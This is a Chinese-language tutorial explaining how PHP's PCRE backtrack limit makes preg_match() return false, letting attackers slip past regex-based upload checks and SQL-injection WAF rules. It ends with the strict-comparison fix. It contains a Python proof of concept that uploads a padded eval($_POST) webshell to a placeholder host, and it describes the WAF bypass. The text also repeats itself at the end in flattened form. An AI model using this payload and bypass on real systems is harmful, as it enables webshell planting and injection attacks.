PHP利用PCRE回溯次数绕过某些安全限制
字数 1004 2025-08-27 12:33:43

PCRE回溯次数限制绕过安全机制的技术分析

1. 正则表达式引擎基础

正则表达式引擎主要分为两种类型:

  1. DFA (确定性有限状态自动机)

    • 逐个字符读取输入串
    • 根据正则表达式确定转移状态
    • 性能较好但不支持回溯
  2. NFA (非确定性有限状态自动机)

    • 逐个字符读取输入串
    • 匹配失败时会进行回溯尝试其他状态
    • 支持更多功能但性能较差
    • PHP的PCRE库使用NFA引擎

2. PCRE回溯机制分析

以正则表达式<\?.*[(;?>].*匹配输入<?php phpinfo();//aaaaa`为例:

  1. 第一个.*贪婪匹配到字符串结尾//aaaaa
  2. 发现后面缺少[(;?>]`字符
  3. 开始回溯,每次回退一个字符
  4. 直到回退到;时匹配成功
  5. 第二个.*匹配剩余部分

此过程共进行了8次回溯。

3. PHP的PCRE回溯限制

PHP为防止ReDoS攻击设置了回溯次数限制:

  • 默认限制:pcre.backtrack_limit = 1000000(100万次)
  • 当回溯次数超过限制时:
    • preg_match()返回false
    • 可通过preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR检测错误类型

4. 安全限制绕过技术

4.1 基本绕过方法

对于如下PHP代码:

function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(!is_php($input)) {
    // fwrite($f, $input);
}

攻击方法:

  1. 构造超长字符串使回溯次数超过100万
  2. 导致preg_match()返回false
  3. !falsetrue,绕过检查

POC示例:

import requests
from io import BytesIO

files = {
    'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://target.com/index.php', files=files)

4.2 WAF绕过应用

4.2.1 贪婪模式绕过

if(preg_match('/SELECT.+FROM.+/is', $input)) {
    die('SQL Injection');
}

4.2.2 非贪婪模式绕过

if(preg_match('/SELECT.+?FROM/is', $input)) {
    die('SQL Injection');
}

攻击方法:

  • 输入类似UNION/*aaaaa*/SELECT的长字符串
  • 使.+?需要大量回溯才能匹配
  • 超过回溯限制使检查失效

5. 防御措施

正确使用方法:

function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(is_php($input) === 0) {
    // fwrite($f, $input);
}

关键点:

  • 使用===严格比较返回值
  • preg_match()返回:
    • 1:匹配成功
    • 0:匹配失败
    • false:执行错误
  • 只有明确返回0时才认为不包含PHP代码

6. 总结

  1. PCRE使用NFA引擎,存在回溯机制
  2. PHP默认限制100万次回溯
  3. 超长输入可使正则匹配失败而非不匹配
  4. 防御需严格检查返回值而非简单取反
  5. 该技术可应用于绕过各类正则检查的安全机制

这种攻击方式展示了安全机制实现细节的重要性,即使是看似简单的正则检查,也可能因实现不当而导致严重的安全漏洞。

PCRE回溯次数限制绕过安全机制的技术分析 1. 正则表达式引擎基础 正则表达式引擎主要分为两种类型: DFA (确定性有限状态自动机) : 逐个字符读取输入串 根据正则表达式确定转移状态 性能较好但不支持回溯 NFA (非确定性有限状态自动机) : 逐个字符读取输入串 匹配失败时会进行回溯尝试其他状态 支持更多功能但性能较差 PHP的PCRE库使用NFA引擎 2. PCRE回溯机制分析 以正则表达式 <\?.*[( ;?>].* 匹配输入 <?php phpinfo();//aaaaa ` 为例: 第一个 .* 贪婪匹配到字符串结尾 //aaaaa 发现后面缺少 [( ;?>] ` 字符 开始回溯,每次回退一个字符 直到回退到 ; 时匹配成功 第二个 .* 匹配剩余部分 此过程共进行了8次回溯。 3. PHP的PCRE回溯限制 PHP为防止ReDoS攻击设置了回溯次数限制: 默认限制: pcre.backtrack_limit = 1000000 (100万次) 当回溯次数超过限制时: preg_match() 返回 false 可通过 preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR 检测错误类型 4. 安全限制绕过技术 4.1 基本绕过方法 对于如下PHP代码: 攻击方法: 构造超长字符串使回溯次数超过100万 导致 preg_match() 返回 false !false 为 true ,绕过检查 POC示例: 4.2 WAF绕过应用 4.2.1 贪婪模式绕过 4.2.2 非贪婪模式绕过 攻击方法: 输入类似 UNION/*aaaaa*/SELECT 的长字符串 使 .+? 需要大量回溯才能匹配 超过回溯限制使检查失效 5. 防御措施 正确使用方法: 关键点: 使用 === 严格比较返回值 preg_match() 返回: 1 :匹配成功 0 :匹配失败 false :执行错误 只有明确返回 0 时才认为不包含PHP代码 6. 总结 PCRE使用NFA引擎,存在回溯机制 PHP默认限制100万次回溯 超长输入可使正则匹配失败而非不匹配 防御需严格检查返回值而非简单取反 该技术可应用于绕过各类正则检查的安全机制 这种攻击方式展示了安全机制实现细节的重要性,即使是看似简单的正则检查,也可能因实现不当而导致严重的安全漏洞。